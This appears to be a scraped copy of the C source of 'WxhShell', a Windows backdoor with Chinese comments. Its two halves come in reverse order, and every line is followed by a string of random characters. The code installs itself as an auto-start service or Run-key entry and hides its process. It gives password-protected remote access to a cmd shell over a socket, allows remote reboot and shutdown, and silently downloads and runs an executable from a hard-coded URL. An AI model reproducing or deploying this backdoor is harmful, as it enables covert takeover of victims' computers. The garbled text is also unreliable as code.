    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UH%?{>oRh  
    else { Cl<` uW3  
    closesocket(wsh); q'+XTal  
    ExitThread(0);  vxr3|2`  
    }  wx o(  
    break; w:'$Uf8]  
    } s.C-II?e  
  // 关机 !S%XIq}FX  
  case 'd': { _4zlEo-.gU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |KU>+4= @  
    if(Boot(SHUTDOWN)) }[D~#Z!k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3$l'>v+5{  
    else { v]U[7 j  
    closesocket(wsh); YZpF*E;6t  
    ExitThread(0); ^;W,:y&  
    } e d4T_O;  
    break; m++VW0Y>  
    } cy^6g? ew  
  // 获取shell ;c:vz F~Q  
  case 's': { 0[PP Vr:  
    CmdShell(wsh); JYm@Llf)$  
    closesocket(wsh); faD(, H  
    ExitThread(0); nsw.\(#  
    break; 79:x>i=  
  } JZu7Fb]L9  
  // 退出 \)y5~te*  
  case 'x': { 09|d<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dW8'$!@!!  
    CloseIt(wsh); R*Pfc91}  
    break; YIgzFt[L  
    } ] =>vv;L  
  // 离开 ;?zb (2  
  case 'q': {  >?U (w<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O~fRcf:Q  
    closesocket(wsh); ,a^_ ~(C  
    WSACleanup(); _jU6[y|XLh  
    exit(1); cQgmRHZ]  
    break; q+gqa<kM  
        } L\y,7@1%AT  
  } HX+'{zm]  
  } SRM[IU  
_u{D#mmO  
  // 提示信息 2lAuO!%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I9SO}a2p  
} 8C4 Tyms  
  } MfeW|  
6prN,*k5  
  return; 2',t@<U  
} rCYNdfdpp  
1/a*8vuGh  
// shell模块句柄 YDjQ&EH  
int CmdShell(SOCKET sock) m>zUwGYEu  
{ us`hR!_  
STARTUPINFO si; Q(V c/  
ZeroMemory(&si,sizeof(si)); ]jY->NsA]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _i}6zxqw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]#S1 AvT  
PROCESS_INFORMATION ProcessInfo; ,@Ed)Zoh  
char cmdline[]="cmd"; )_xM)mH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qZ_^#%zO  
  return 0; 0lmoI4bW}s  
} 3gv>AgG  
eg?vYW  
// 自身启动模式 7OC ,KgJ3  
int StartFromService(void) qG=`'%,m  
{ 2R2Z6}  
typedef struct /=m=i%& #  
{ db.iMBki  
  DWORD ExitStatus; P>4(+s  
  DWORD PebBaseAddress; /:yKa=$  
  DWORD AffinityMask; =\:YNP/  
  DWORD BasePriority; `jP\*k`~]  
  ULONG UniqueProcessId; .~W7{SY[  
  ULONG InheritedFromUniqueProcessId; "p2PZ)|  
}   PROCESS_BASIC_INFORMATION; 20%xD e  
Gtg; 6&2  
PROCNTQSIP NtQueryInformationProcess; zUwz[^d<C  
%I6iXq#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )vuxy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fKrOz! b  
[|k@Suv |z  
  HANDLE             hProcess; 5"XcVH4g  
  PROCESS_BASIC_INFORMATION pbi; oh& P Q{  
{T:2+iS9:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]lZ!en  
  if(NULL == hInst ) return 0; ?1OS%RBF  
l Fzb$k}_{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q^fli"_ :  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (]mN09uE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L2Gm0 v  
@#8F5G#  
  if (!NtQueryInformationProcess) return 0; 3b#KrN'  
8uT@$ ./  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bE]2:~  
  if(!hProcess) return 0; M5 Pvc  
X*%KR4`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jw(v08u >  
Rfa1 v*(  
  CloseHandle(hProcess); Wv(VV[?/&  
YM1@B`yWE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s{IycTbz  
if(hProcess==NULL) return 0; )5&w  
l)XzU&Sc~  
HMODULE hMod; oWx! 'K6]V  
char procName[255]; Y#?Sqm(  
unsigned long cbNeeded; r%_)7Wk*  
z4{|?0=C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Eer rIV  
v9M ;W+J  
  CloseHandle(hProcess); "hs`Y4U  
v>7=T 8  
if(strstr(procName,"services")) return 1; // 以服务启动 WnUYZ_+e!  
i'`Z$3EF)  
  return 0; // 注册表启动 ]'T-6  
} e7vPi QCc  
GW` 9SB  
// 主模块 p1G!-\l  
int StartWxhshell(LPSTR lpCmdLine) bX5>qqB]  
{ 1{nXmtvr  
  SOCKET wsl; Y}nE/bmx&9  
BOOL val=TRUE;  eCk}B$ 2  
  int port=0; NsWyxcty  
  struct sockaddr_in door; Ej6vGC.,  
ir%/9=^d  
  if(wscfg.ws_autoins) Install(); x\x>_1oP  
Zr oj-3-X~  
port=atoi(lpCmdLine); qjUQ2d  
u4#BD!W  
if(port<=0) port=wscfg.ws_port; WI}P(!h\J  
F S1<f:  
  WSADATA data; \7gLk:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Et`z7Q*e  
}@a_x,O/x}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #.Ft PR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f4`=yj*  
  door.sin_family = AF_INET; uN6TV*]:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Wl::tgU  
  door.sin_port = htons(port); P) GBuW  
\t^q@}~0Wz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]hv4EL(zi  
closesocket(wsl); `){*JPl  
return 1; mv<z%y?Oj  
} 2hmV 1gj  
"{L%5:H@  
  if(listen(wsl,2) == INVALID_SOCKET) { AP/5, M<  
closesocket(wsl); \gj@O5rGP  
return 1; }2V|B4  
} 3x 'BMAA+  
  Wxhshell(wsl); *Swb40L^  
  WSACleanup(); b/5;377_  
/-G;#Wm  
return 0; ~G5)ya-  
<\2,7K{{+;  
} j"J2&Y2  
M<g>z6   
// 以NT服务方式启动 EV2whs2g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *9?-JBT&F  
{ ~~:i+-[  
DWORD   status = 0; G~u94rw|:  
  DWORD   specificError = 0xfffffff; 4J-)+C/edx  
u -CY-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; . (Q;EF`_U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J<u,Y= -~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e l7P  
  serviceStatus.dwWin32ExitCode     = 0; ykX}T6T  
  serviceStatus.dwServiceSpecificExitCode = 0; f:Ju20D  
  serviceStatus.dwCheckPoint       = 0; @x"vGYKd  
  serviceStatus.dwWaitHint       = 0; LnrR#fF]Z  
xr)kHJ:v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hp Lo  
  if (hServiceStatusHandle==0) return; 3V LwMF?  
&7|=8Z[o  
status = GetLastError(); sT'wps2  
  if (status!=NO_ERROR) 1&Nk  
{ 4vp,izNW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _@jl9<t=_  
    serviceStatus.dwCheckPoint       = 0; WR gAc%  
    serviceStatus.dwWaitHint       = 0; 8Z FPs/HP  
    serviceStatus.dwWin32ExitCode     = status; /Q})%j1S0  
    serviceStatus.dwServiceSpecificExitCode = specificError; O2ety2}?f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4N*Fq!k~  
    return; l|U=(aA]h  
  } .5KRi6  
"%-HZw%X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |giK]Z  
  serviceStatus.dwCheckPoint       = 0; C03ehjT<  
  serviceStatus.dwWaitHint       = 0; @j5W4HU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 552c4h/T  
} EJb"/oLla  
"A,]y E  
// 处理NT服务事件,比如:启动、停止 tlI3jrgw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G5bi,^G7  
{ qmtVk  
switch(fdwControl) B5zu?AG  
{ li%=<?%T  
case SERVICE_CONTROL_STOP: zrD$loaW.'  
  serviceStatus.dwWin32ExitCode = 0; FyQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iV(B0z  
  serviceStatus.dwCheckPoint   = 0; Qh%7RGh_  
  serviceStatus.dwWaitHint     = 0; ?fCLiK  
  { l J;wl|9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L7%Dc2{^(  
  } $2 ~A^#"0  
  return; F+*: >@3  
case SERVICE_CONTROL_PAUSE: tiI>iP`!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FzA_-d/_dg  
  break; kO~xE-(=  
case SERVICE_CONTROL_CONTINUE: n M,m#"AI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W446;)?5  
  break; @,pO%,E6  
case SERVICE_CONTROL_INTERROGATE: l4|bpR Cp  
  break; =p N?h<dc  
}; @C~TD)K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N[){yaj  
} o/2\8   
`f8{ ^Rau  
// 标准应用程序主函数 v3Te+oLg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hx62x X  
{ c^Rz?2x  
^md7ezXL  
// 获取操作系统版本 @X\Sh>H  
OsIsNt=GetOsVer(); ('OPW&fRG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LN" bGe  
Bx j6/a7Xd  
  // 从命令行安装 k2,n:7  
  if(strpbrk(lpCmdLine,"iI")) Install(); V.: a6>]  
= 14'R4:  
  // 下载执行文件 ]J5[ZVz  
if(wscfg.ws_downexe) { it D%sKo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `i,ZwnLh{  
  WinExec(wscfg.ws_filenam,SW_HIDE); %4imlP  
} /vD5C  
3E y#?   
if(!OsIsNt) { Bwn9ZYu#r  
// 如果时win9x,隐藏进程并且设置为注册表启动 K:465r:  
HideProc(); m/cbRuPWgP  
StartWxhshell(lpCmdLine); UI_|VU>J  
} %pt ul_(s'  
else ubj ~ULA  
  if(StartFromService()) Czid"Ih-  
  // 以服务方式启动 Lk4&&5q  
  StartServiceCtrlDispatcher(DispatchTable); rcOpOoU|  
else t A\N$  
  // 普通方式启动 k2j:s}RHY  
  StartWxhshell(lpCmdLine); q !EJs:AS  
D2[uex  
return 0; )wCA8  
} 4 (bV#   
F, %qG,  
zTAt% w5  
Haaungb"  
=========================================== <@A/`3_O)  
vObP(@0AM  
j<R,}nmD3\  
va95/(  
%R7Q`!@8  
V7[Dvg:W  
" d3&gHt2  
Jr%u[d>  
#include <stdio.h> |t4k&Dkx`  
#include <string.h> A\i /@x5#  
#include <windows.h> E`=y9r* Z  
#include <winsock2.h> gt';_  
#include <winsvc.h> 9c=Y+=<  
#include <urlmon.h> 8}{';k  
agM.-MK  
#pragma comment (lib, "Ws2_32.lib") slOki|p;  
#pragma comment (lib, "urlmon.lib") 1AjsAi,7;2  
l:z :tJ#(  
#define MAX_USER   100 // 最大客户端连接数 UH%oGp$ykX  
#define BUF_SOCK   200 // sock buffer  S`U Gk  
#define KEY_BUFF   255 // 输入 buffer \-#~)LB]M  
xX{uDMYa;  
#define REBOOT     0   // 重启 ]6pxd \Q  
#define SHUTDOWN   1   // 关机 =yz#L@\!  
!jU<(eY  
#define DEF_PORT   5000 // 监听端口 rf@/<Wu  
v"F.<Q  
#define REG_LEN     16   // 注册表键长度 dt',)i8D  
#define SVC_LEN     80   // NT服务名长度 one^XYy1%  
_B 8e 1an  
// 从dll定义API 2 t< dCw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f"k?Ix\ e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t TA6 p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MPAZ%<gmD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?\<2*sW [k  
GH7{_@pv8  
// wxhshell配置信息 Jk}L+X vv  
struct WSCFG { P qagep d  
  int ws_port;         // 监听端口 69dFd!G\  
  char ws_passstr[REG_LEN]; // 口令 [{}9"zB$x0  
  int ws_autoins;       // 安装标记, 1=yes 0=no +LV'E#h!Q  
  char ws_regname[REG_LEN]; // 注册表键名 2GqPS  
  char ws_svcname[REG_LEN]; // 服务名 28f-8B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5caYA&R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9x;/q7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OV7vwj/-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^W_}Gd<-#Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o*qEAy ?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YQ,IdWav  
p0qQ(  
}; L}XERO TR  
"<v_fF<Y  
// default Wxhshell configuration $a15 8  
struct WSCFG wscfg={DEF_PORT, 6x]|IWvW  
    "xuhuanlingzhe", N5}vy$t_P  
    1, 1.p?P] .  
    "Wxhshell", ~9kvC&/{[  
    "Wxhshell", SjtGU47$!  
            "WxhShell Service", Rb#Z'1D'G  
    "Wrsky Windows CmdShell Service", S4qh8c  
    "Please Input Your Password: ", O.TFV.  
  1, ]N!SG@X+  
  "http://www.wrsky.com/wxhshell.exe", 7Kk rfJqN  
  "Wxhshell.exe" }h +a8@  
    }; i_`YZ7Hxp  
DECX18D  
// 消息定义模块 nd3]&occ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x^+ C[%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L]K*Do  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iJ?8)}  
char *msg_ws_ext="\n\rExit."; #xW%RF  
char *msg_ws_end="\n\rQuit."; 3[SN[faS  
char *msg_ws_boot="\n\rReboot..."; ~-']Q0Z  
char *msg_ws_poff="\n\rShutdown..."; iV'-j,-i  
char *msg_ws_down="\n\rSave to "; v0"|J3  
I;P?P5H  
char *msg_ws_err="\n\rErr!"; z9w@-])  
char *msg_ws_ok="\n\rOK!"; Mky$#SI11  
;f= :~go  
char ExeFile[MAX_PATH]; .7ahz8v  
int nUser = 0; ^ b-H  
HANDLE handles[MAX_USER]; z6Su`  
int OsIsNt; )6bxP&k  
sn5N9=\+T  
SERVICE_STATUS       serviceStatus; Ct}"o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hf:n!+,C  
&Ei dc .  
// 函数声明 a(x[+ El  
int Install(void); aCGPtA'  
int Uninstall(void); _9!Ru!u~  
int DownloadFile(char *sURL, SOCKET wsh); k_P`t[YZV  
int Boot(int flag); T2Y`q'  
void HideProc(void); R&ou4Y:DG  
int GetOsVer(void); lmH!I )5  
int Wxhshell(SOCKET wsl); )@R:$l86  
void TalkWithClient(void *cs); }^`{YD  
int CmdShell(SOCKET sock); Gk[P-%%b /  
int StartFromService(void); 3-o ]H'6  
int StartWxhshell(LPSTR lpCmdLine); Cf`UMQ a  
\M>AN Z}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q.z2 (&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }[LK/@h  
MYN1zYT6j  
// 数据结构和表定义 8^dGI9N  
SERVICE_TABLE_ENTRY DispatchTable[] = L'aMXNO  
{ $ZcmE<7k  
{wscfg.ws_svcname, NTServiceMain}, ^jf$V #z0/  
{NULL, NULL} D cus-,u~  
}; Y] P}7GZ  
-\UzL:9>  
// 自我安装 X@~sIUXx9  
int Install(void) {E6W]Mno  
{ ?ZDx9*f  
  char svExeFile[MAX_PATH]; Qbv)(&i# ~  
  HKEY key; Z NCq /  
  strcpy(svExeFile,ExeFile); zN2sipJS8  
)B}]0`z:P  
// 如果是win9x系统,修改注册表设为自启动 1+y&n?  
if(!OsIsNt) { \F1n Ej  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bj@&c>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D|=QsWZI  
  RegCloseKey(key); 'O{hr0q}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~-W.yg6D{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m.V mS7_I  
  RegCloseKey(key); 5.GBd_;  
  return 0; "hy#L 0\t  
    } "H G:by  
  } e}K;5o=I  
} P]6pPS  
else { c$e~O-OVD?  
!%Z1" FDm/  
// 如果是NT以上系统,安装为系统服务 /f# rN_4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U]R7=  
if (schSCManager!=0) *Gu=O|Mm  
{ l@j!j]nE  
  SC_HANDLE schService = CreateService k?J}-+Bm[|  
  ( D(h|r^5  
  schSCManager, 2B!nLL Cp+  
  wscfg.ws_svcname, >`oO(d}n[0  
  wscfg.ws_svcdisp, w~Y#[GW  
  SERVICE_ALL_ACCESS, |9_e2OwH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8uI^ B  
  SERVICE_AUTO_START, !. 0W?6yo  
  SERVICE_ERROR_NORMAL, X(WG:FP27  
  svExeFile, ;nh7Elk  
  NULL, |#-Oz#Eg'  
  NULL, Wq,UxMz  
  NULL, *-P@|eg  
  NULL, B"Fg`s+]U  
  NULL ~4\bR  
  ); 7,+:Q Y@  
  if (schService!=0) )%MB o.NL  
  { rcyH2)Y/e  
  CloseServiceHandle(schService); _@^msyoq  
  CloseServiceHandle(schSCManager); D~mGv1t"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4cV(Z-\  
  strcat(svExeFile,wscfg.ws_svcname); *S=v1 s/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }'@*Olj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SnXYq 7`t  
  RegCloseKey(key); F[?t"d  
  return 0; 7 'f>  
    } D2?7=5DgS  
  } WrG)&&d  
  CloseServiceHandle(schSCManager); p1|@F^Q  
} H>Fy 2w  
} CV& SNA  
tGf  
return 1; :^ cA\2=  
} %*s[s0$c  
\}<nXn!  
// 自我卸载 ]"YG7|EU  
int Uninstall(void) i\t4TdEx(  
{ nKHyq\  
  HKEY key; ?VzST }  
L~0B  
if(!OsIsNt) { FvvF4 ,e5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `Zk?.1*2/  
  RegDeleteValue(key,wscfg.ws_regname); IG bQ L  
  RegCloseKey(key); J7l1-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZM)a4h,kcm  
  RegDeleteValue(key,wscfg.ws_regname); TI*uNS;-  
  RegCloseKey(key);  UnO -?  
  return 0; 1$ l3-x  
  } `Y(/G"]  
} ChBZGuO:  
} XS1>ti|<  
else { /sYD+*a  
a2g15;kM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +q =/}|  
if (schSCManager!=0) >yL8C: J9  
{ 0<P -`|X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R"82=">v  
  if (schService!=0) RQh4RUm  
  { icnp^2P  
  if(DeleteService(schService)!=0) { $:<KG&Br  
  CloseServiceHandle(schService); "0]i4d1l  
  CloseServiceHandle(schSCManager); V= .'Db2D  
  return 0; W{0<ro`  
  } D vK}UAj=  
  CloseServiceHandle(schService); r<~1:/F|  
  } ,ur_n7+LH  
  CloseServiceHandle(schSCManager); 1YS{; y[o  
} !J+5l&  
} _$F I>  
q'1rSK  
return 1; U`:$1*(`  
} K\;b3  
IJs` 3?  
// 从指定url下载文件 yTmoEy. q  
int DownloadFile(char *sURL, SOCKET wsh) yuhSP{pv'  
{ Jj([O2Eq$  
  HRESULT hr; u/``*=Y@  
char seps[]= "/"; hB|LW^@v  
char *token; 5$jKw\FF=  
char *file; lJ}lO,g  
char myURL[MAX_PATH]; ;zp0,[r  
char myFILE[MAX_PATH]; g y&B"`  
7 bpV=  
strcpy(myURL,sURL); :.Np7[~{  
  token=strtok(myURL,seps); VV?KJz=,W=  
  while(token!=NULL) *,z__S$Q)  
  { CRS/qso[Q'  
    file=token; EY&hWl*a^  
  token=strtok(NULL,seps); W**a\[~$  
  } &%INfl>o7.  
 G#K=n  
GetCurrentDirectory(MAX_PATH,myFILE); Qs*g)Yr  
strcat(myFILE, "\\"); Y.=v!*p?}  
strcat(myFILE, file); N|8TE7- F|  
  send(wsh,myFILE,strlen(myFILE),0); O[q {y  
send(wsh,"...",3,0); dx:],VB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6R#f 8  
  if(hr==S_OK) -x7b6o>$  
return 0; [['un\~r~  
else s_VP(Fe@K  
return 1; uZg Kex;c  
=cg0o_q8  
} 1'Kn:I  
A<AZs~f  
// 系统电源模块 Cg-khRgLS  
int Boot(int flag) friNo^v&  
{ ci|6SaY*  
  HANDLE hToken; y<.1+TG  
  TOKEN_PRIVILEGES tkp; n Hy|  
#=+d;RdlW  
  if(OsIsNt) { XG*Luc-v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6x6PP}IX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `&j5/[>v  
    tkp.PrivilegeCount = 1; lS9rgq<n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P b2exS(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p]IF=~b  
if(flag==REBOOT) { i!jx jP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >8HcCG  
  return 0; - x@mS2  
} kcI3pmgj  
else { Oe*emUX7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jsc1B  
  return 0; BPe5c :z  
} h_Q9 c  
  } 0I& !a$:  
  else { {_l@ws  
if(flag==REBOOT) { Bo_Ivhe[m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9>\s81^  
  return 0; b=`h""u  
} xR\$2(  
else { 27G6C`}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0Ocy$  
  return 0; t%V!SvT8+  
} U c$RYPq  
} K`768 %q  
9UZKL@KC  
return 1; jL>IX`,+6  
} 8?h-H #h  
ytK h[Uo  
// win9x进程隐藏模块 U"af3c^2  
void HideProc(void) 9JpPas$]  
{ $9j\sZj&  
; Sq_DP1W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &}Cm9V  
  if ( hKernel != NULL ) ( n|PLi  
  { (%YFcE)SRS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xP "7B9B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >@rsh-Z  
    FreeLibrary(hKernel); c54oQ1Q&"  
  } uL\ B[<:  
r|:i: ii  
return; U;Y{=07a@  
} #\_N-bVu  
"VRcR  
// 获取操作系统版本 S{7A3 x'B  
int GetOsVer(void) k$j>_U? P  
{ 6DD"Asi+  
  OSVERSIONINFO winfo; nM>oG'm[n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :]v%6i.  
  GetVersionEx(&winfo); sjvlnnO   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NVAt-u0LB  
  return 1; @~qlSU&  
  else 4U*J{''L  
  return 0; W MU9tq[  
} 540-lMe  
d dkh*[  
// 客户端句柄模块 67wY_\m9I  
int Wxhshell(SOCKET wsl) ,|<2wn#q  
{ 4RGEg;]S  
  SOCKET wsh; @bSxT,2  
  struct sockaddr_in client; {m.l{<H  
  DWORD myID; yF8 av=<{  
K*xqQ]&  
  while(nUser<MAX_USER) LJt#c+]Li  
{ hOx'uO`x(  
  int nSize=sizeof(client); & gnE"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); , `ST Va-  
  if(wsh==INVALID_SOCKET) return 1; F#*vJb)  
*$1M= $  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u^8:/~8K  
if(handles[nUser]==0) Y!N *J  
  closesocket(wsh); M{<cqxY  
else BqC!78Y/e  
  nUser++; w]J9Kv1)-  
  } d[9c6C:<q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i<@6f'Kir  
nlOM4fJ(  
  return 0; 1JM EniB+9  
} p%pM3<p  
8D@H4O.  
// 关闭 socket q\cH+n)C  
void CloseIt(SOCKET wsh) s<Px au+A  
{ =i O K($  
closesocket(wsh); '/trM%<  
nUser--; B"rnSui  
ExitThread(0); .&:y+Oww~  
} >RZ]t[)y  
{7.."@Ob<v  
// 客户端请求句柄 `z=U-v'H)D  
void TalkWithClient(void *cs) O$%M.C'  
{ $O9Nprf  
u.ubw(vv  
  SOCKET wsh=(SOCKET)cs; AIgJ,=9K  
  char pwd[SVC_LEN]; bi;?)7p&ZY  
  char cmd[KEY_BUFF]; T[]2]K[&B  
char chr[1]; {/#^v?,  
int i,j; 9JYrP6I!_  
[@fw9@_'  
  while (nUser < MAX_USER) { 4wk-f7I(  
GVhO}m  
if(wscfg.ws_passstr) { h U\)CM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {>PN}fk2QP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6A&e2K>A  
  //ZeroMemory(pwd,KEY_BUFF); /`McKYIP  
      i=0; K<TVp;N  
  while(i<SVC_LEN) { WDQtj$e+  
#RT}-H  
  // 设置超时 {|nm0vg`A  
  fd_set FdRead; q<Gn@xc'  
  struct timeval TimeOut; e=ZwhRP  
  FD_ZERO(&FdRead); bL soKe  
  FD_SET(wsh,&FdRead); onL&lE  
  TimeOut.tv_sec=8; AlT41v~6  
  TimeOut.tv_usec=0; 3C'`K ,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A(zF[\{]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;43Ye ^=  
VrLU07"0n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~b;l08 <  
  pwd=chr[0]; D1]%2:  
  if(chr[0]==0xd || chr[0]==0xa) { ?@8[1$1a  
  pwd=0; k`FCyO  
  break; feU]a5%XZ  
  } 5mxHOtvtWM  
  i++; /J!C2  
    } :ZG^`H/X1d  
& 9X`tCnL  
  // 如果是非法用户,关闭 socket -;9pZ'r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |`d,r.+P7  
} ['~j1!/;6  
'?7th>pC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ii&{gC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x dDR/KS  
>fHg1d2-  
while(1) { &U q++f6  
o_; pEe  
  ZeroMemory(cmd,KEY_BUFF); pn3f{fQ  
<q|IP_  
      // 自动支持客户端 telnet标准   q,6 y{RyS  
  j=0; 5(e?,B }  
  while(j<KEY_BUFF) { G%0G$3W"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H^_]' ~.  
  cmd[j]=chr[0]; y Nb&;E7 H  
  if(chr[0]==0xa || chr[0]==0xd) { hpp>+=  
  cmd[j]=0; *%< Ku&C  
  break; YF/@]6j  
  } {T|sU\|Q  
  j++; cfI5KLG~#  
    } [GKSQt{)  
Cx$C+  
  // 下载文件 v\7k  
